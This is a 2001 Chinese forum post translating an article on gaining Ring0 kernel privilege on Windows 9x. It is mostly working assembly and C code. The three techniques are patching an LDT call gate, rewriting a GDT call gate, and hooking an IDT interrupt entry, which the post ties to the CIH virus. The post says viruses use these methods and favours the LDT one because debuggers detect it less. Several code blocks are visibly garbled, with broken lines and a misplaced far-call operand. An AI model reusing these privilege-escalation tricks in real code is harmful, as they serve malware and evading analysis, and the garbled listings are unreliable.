• 标 题:win9x下ring0的实现(翻译自www.anticracking.sk) (16千字)
  • 作 者:kobe
  • 时 间:2001-1-24 23:14:38
  • 链 接:http://bbs.pediy.com

--------------------------------------------------------------------------------
谈谈Ring0的实现
--------------------------------------------------------------------------------

处理器有4个级的优先权:Ring0,Ring1,Ring2,Ring3.

大多数程序运行于Ring3这个级别。Ring3有很多限制,

如: 我们不能读DR(debug-registers,调试寄存器),所有关于 DR的指令都不起作用。(如:mov eax,dr7).

对我们来说当然是优先级越高越好,所以我们要使我们的 程序运行在Ring0.但是只有少数的特殊的程序有Ring0的优先权。

设备驱动程序运行于Ring0,但它的代码可不简单!

所幸,Windows有很多漏洞,特别是Win9X。有很多方法可以将 程序的优先级从Ring3变成Ring0.

这些方法被很多病毒所用, 当然,我们还有更多,更好的用途!

这些方法只适用于Win9X,不适用WinNT。因为WinNT是黑客的主要攻击对象,它的漏洞都添的差不多了。

可以在程序中加入代码 先判断操作系统是否Win9X,若是就可以用了。

如果一定要在 WinNT或Win2K下用Ring0,就要编写设备驱动了。

如果你是admin(管理员)级别的用户,那还有别的方法,但前提是你必须有admin的级别。

对一般用户来说这是个好消息,因为Win下的病毒没那么好编, 那些病毒作者就要费老劲了!


--------------------------------------------------------------------------------

Part I

下面介绍一下改变优先权至Ring0的方法用LDT(Locale Descriptor Table):

这个古老的方法极少被用。这不是最好的方法,但至少比用IDT 好,原因嘛?因为它鲜为人知。 下面是程序范例:



--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC

.data

msg1
db "Switch to Ring0 by LDT",0

msg2

db "Ring0 activated",0


gdt_
df 0

call_
dd 00
dw 0Fh

o_gate
.code
dw 0
dw 028h ;segment for RING0
dw 0EC00h
dw 0


Start:


mov eax, offset ring0
;our Ring0 routine
mov [o_gate],ax ;set address of our new Ring0 service to our "callgate" shr eax,16
mov [o_gate+6],ax

xor eax, eax
sgdt fword ptr gdt_
;save GDT mov ebx,dword ptr [gdt_+2] ;GDT base address

sldt
ax
 

add

ebx,eax

;discriptor address


mov
al,[ebx+4]
 

mov
ah,[ebx+7]
 

shl
eax,16
;LDT address



mov ax,[ebx+2] ;callgate's discriptor address

add eax,8
 

mov edi,eax
;set in callgate for changes

mov esi,offset
o_gate
;our "callgate" address

movsd
;move it to real callgate

movsd
;for jump to Ring0



call fword ptr [call_]
;jump to Ring0 to our Ring0 service

xor eax, eax
 

sub edi,8
stosd
stosd
;delete our changes in callgate





call MessageBoxA,0, offset msg2, offset msg1,0
call ExitProcess, -1





--------------------------------------------------------------------------------
;Our new Ring0 service

--------------------------------------------------------------------------------

ring0:
mov eax, dr7 ;test for Ring0

retf ;back to RING3
ends
end Start
--------------------------------------------------------------------------------

Part II

下面是我在网上找到的例子,是Sopinky用C写的。


Example:



--------------------------------------------------------------------------------

Main.CPP



--------------------------------------------------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"



//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
    {
          int 20h                      //get current vm
        _emit 0x01                    //Function ID
            _emit 0x00
        _emit VMM_ID                  //VXD ID
            _emit 0x00
                                        //in ebx i have the handle
                                        //of virtual machine
    }

RetCallback;
};
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h



--------------------------------------------------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h

#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register

Comp *Callb,Callbcpy; //a callbacks

//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;

InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;

__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}

//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;



}
cs0=a<<3;

                                        //Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
        if(gdtdesc->limit_l==0xffff &&
        gdtdesc->base_l==0x0000  &&
        gdtdesc->base_m==0x00    &&
        gdtdesc->access==0x93    &&
        gdtdesc->limit_h== 0xcf  &&
        gdtdesc->base_h==0x00)break;
        }
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}

                                        //Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;

        __asm  sgdt  gdt;
        gdtdesc=(Descriptor *)(gdt.base+8);
        Callb=(Comp *)(gdt.base+8);

        Callbcpy.sel=Callb->sel;      //make a copy
        Callbcpy.attrib=Callb->attrib;
        Callbcpy.offs_l=Callb->offs_l;
        Callbcpy.offs_h=Callb->offs_h;

        Callb->sel=cs0;
        Callb->attrib=0xec00;;

__asm
        {
        mov eax,PUNTERO
        mov l,ax
        shr eax,16
        mov h,ax
    }
        Callb->offs_l=l;
        Callb->offs_h=h;
__asm {
          push ds
                  push es
                  push gs
                  push fs
      }                                //save the ring 3 segment selectors



__asm
//Call the CALL GATE!!!!

cli
{
 


call FWORD PTR
}
__asm
{
cli
pop fs
salto
//restore de segment selectors in ring 3



pop gs
pop es
pop ds


    sti
        }
return;
}




InitRing0()
{
        FPWORD gdt;
        Comp *Callb;

        __asm  sgdt  gdt;
        __asm  cli
        Callb=(Comp *)(gdt.base+8);
        Callb->sel=Callbcpy.sel;
        Callb->attrib=Callbcpy.attrib;
        Callb->offs_l=Callbcpy.offs_l;
        Callb->offs_h=Callbcpy.offs_h;
        __asm
        {
        mov ds,ds0
        mov es,es0
        mov fs,fs0
        mov gs,gs0
        sti

                                        //int 3h
        int 20h
        _emit 0x08                    //get the thead handle
        _emit 0x01
        _emit VMM_ID
        _emit 0x00
          mov TR,edi
        int 20h
        _emit 0x01                    //get current vm
        _emit 0x00
        _emit VMM_ID
        _emit 0x00
          mov  VM,ebx                  //current VM handle, osea de sistema
        sti
        }
}
#endif

------------------------------------****--------------------------------------
VMMStruct.h
------------------------------------****--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h

                                        //definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version  0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID  0x0002A
#define SHELL_ID  0x00017
#define word  unsigned short
#define dword unsigned int
#define DWORD  unsigned int
#define WORD  unsigned short
#define byte  unsigned char
#define BYTE  unsigned char

                                        //Structs
#pragma pack(1)
typedef struct
{
    word  limite;
        dword base;
}FPWORD;

typedef struct
{
        dword offset32;
        word  seg;
}FARJMP;

                                        //struct of descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;

typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;

                                        //compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;

                                        //Description Block
typedef struct  {
    ULONG DDB_Next;                    /* VMM RESERVED FIELD */
    USHORT DDB_SDK_Version;            /* INIT <DDK_VERSION> RESERVED FIELD */
    USHORT DDB_Req_Device_Number;      /* INIT <UNDEFINED_DEVICE_ID> */
    UCHAR DDB_Dev_Major_Version;        /* INIT <0> Major device number */
    UCHAR DDB_Dev_Minor_Version;        /* INIT <0> Minor device number */
    USHORT DDB_Flags;                  /* INIT <0> for init calls complete */
    UCHAR DDB_Name[8];                  /* AINIT <"        "> Device name */
    ULONG DDB_Init_Order;              /* INIT <UNDEFINED_INIT_ORDER> */
    ULONG DDB_Control_Proc;            /* Offset of control procedure */
    ULONG DDB_V86_API_Proc;            /* INIT <0> Offset of API procedure */
    ULONG DDB_PM_API_Proc;              /* INIT <0> Offset of API procedure */
    ULONG DDB_V86_API_CSIP;            /* INIT <0> CS:IP of API entry point */
    ULONG DDB_PM_API_CSIP;              /* INIT <0> CS:IP of API entry point */
    ULONG DDB_Reference_Data;          /* Reference data from real mode */
    ULONG DDB_Service_Table_Ptr;        /* INIT <0> Pointer to service table */
    ULONG DDB_Service_Table_Size;      /* INIT <0> Number of services */
    ULONG DDB_Win32_Service_Table;      /* INIT <0> Pointer to Win32 services */
    ULONG DDB_Prev;                    /* INIT <'Prev'> Ptr to prev 4.0 DDB */
    ULONG DDB_Size;                    /* INIT <SIZE(VxD_Desc_Block)> Reserved */
    ULONG DDB_Reserved1;                /* INIT <'Rsv1'> Reserved */
    ULONG DDB_Reserved2;                /* INIT <'Rsv2'> Reserved */
    ULONG DDB_Reserved3;                /* INIT <'Rsv3'> Reserved */
}Desc_Block;




                                        //Control block
typedef struct  {
    ULONG Client_EDI;                  /* Client's EDI */
    ULONG Client_ESI;                  /* Client's ESI */
    ULONG Client_EBP;                  /* Client's EBP */
    ULONG Client_res0;                  /* ESP at pushall */
    ULONG Client_EBX;                  /* Client's EBX */
    ULONG Client_EDX;                  /* Client's EDX */
    ULONG Client_ECX;                  /* Client's ECX */
    ULONG Client_EAX;                  /* Client's EAX */
    ULONG Client_Error;                /* Dword error code */
    ULONG Client_EIP;                  /* EIP */
    USHORT Client_CS;                  /* CS */
    USHORT Client_res1;                /*  (padding) */
    ULONG Client_EFlags;                /* EFLAGS */
    ULONG Client_ESP;                  /* ESP */
    USHORT Client_SS;                  /* SS */
    USHORT Client_res2;                /*  (padding) */
    USHORT Client_ES;                  /* ES */
    USHORT Client_res3;                /*  (padding) */
    USHORT Client_DS;                  /* DS */
    USHORT Client_res4;                /*  (padding) */
    USHORT Client_FS;                  /* FS */
    USHORT Client_res5;                /*  (padding) */
    USHORT Client_GS;                  /* GS */
    USHORT Client_res6;                /*  (padding) */
    ULONG Client_Alt_EIP;
    USHORT Client_Alt_CS;
    USHORT Client_res7;
    ULONG Client_Alt_EFlags;
    ULONG Client_Alt_ESP;
    USHORT Client_Alt_SS;
    USHORT Client_res8;
    USHORT Client_Alt_ES;
    USHORT Client_res9;
    USHORT Client_Alt_DS;
    USHORT Client_res10;
    USHORT Client_Alt_FS;
    USHORT Client_res11;
    USHORT Client_Alt_GS;
    USHORT Client_res12;
}Client_Reg_Struc;

typedef struct Thread_Control_Block {
    ULONG  TCB_Flags;                  /* Thread status flags */
    ULONG  TCB_Reserved1;              /* Used internally by VMM */
    ULONG  TCB_Reserved2;              /* Used internally by VMM */
    ULONG  TCB_Signature;
    ULONG  TCB_ClientPtr;              /* Client registers of thread */
    ULONG  TCB_VMHandle;              /* VM that thread is part of */
    USHORT  TCB_ThreadId;              /* Unique Thread ID */
    USHORT  TCB_PMLockOrigSS;          /* Original SS:ESP before lock stack */
    ULONG  TCB_PMLockOrigESP;
    ULONG  TCB_PMLockOrigEIP;          /* Original CS:EIP before lock stack */
    ULONG  TCB_PMLockStackCount;
    USHORT  TCB_PMLockOrigCS;
    USHORT  TCB_PMPSPSelector;
    ULONG  TCB_ThreadType;            /* dword passed to VMMCreateThread */
    USHORT  TCB_pad1;                  /* reusable; for dword align */
    UCHAR  TCB_pad2;                  /* reusable; for dword align */
    UCHAR  TCB_extErrLocus;            /* extended error Locus */
    USHORT  TCB_extErr;                /* extended error Code */
    UCHAR  TCB_extErrAction;          /*      "  "  Action */
    UCHAR  TCB_extErrClass;            /*      "  "  Class */
    ULONG  TCB_extErrPtr;              /*      "  pointer */
}Thread_Control_Block;

typedef struct
{
DWORD CB_VM_Status      ;
DWORD CB_High_Linear    ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID          ;
DWORD CB_Signature      ;
}Control_Block;
#endif



--------------------------------------------------------------------------------

Part III

我想汇编语言的例子会比C写的更简洁明了些!毕竟低层代码是汇编的拿手好戏。 下面介绍常用的用IDT(Interupt Descriptor Table)实现Ring0的方法 最早是ELICZ写的,后来陈盈豪写CIH也用到了。 这种方法是很常用的,但现在能被大多数的跟踪程序(Frog-Ice,IceDump)检测出来, 这就是我推荐LDT方法的原因,好了废话少说,下面是代码。 Example:



--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc

Extrn SetUnhandledExceptionFilter : PROC

Interrupt
equ 5
;interrupt number which we will use

.DATA

 
 
;if you use Int 1h or 3h, it will be
;more harder debugg your program


msg1
db
"Switch to
Ring0 by IDT",0

msg2
db
"Ring0 activated",0



.CODE
Start:


push
edx
 

sidt
[esp-2]
;read IDT to stack

pop
edx
;address of Interrupt table

add
edx,(Interrupt*8)+4


 
;Interrupt table base+Int number+size for
;Int in Interrupt table=Int vector address

mov
ebx,[edx]
 

mov

bx,word ptr

[edx-4]
;read old address our interrupt (INT 5h)


lea
edi,InterruptHandler

mov
[edx-4],di
 

ror
edi,16
;set our new interrupt handler

mov

[edx+2],di

 


push
ds
;save registers

push
es
 





int
Interrupt
;jump to Ring0 (our int 5h handler)

pop
es
;restore registers

pop
ds
 





mov [edx-4],bx ;set old int 5h handler ror ebx,16
mov [edx+2],bx
call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1






;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------

InterruptHandler:

mov eax,dr7
;test for Ring0

iretd
;jump back to Ring3





ends
end Start
--------------------------------------------------------------------------------
还有很多方法可以实现Ring0,我也不知道了。大家请自己学习吧。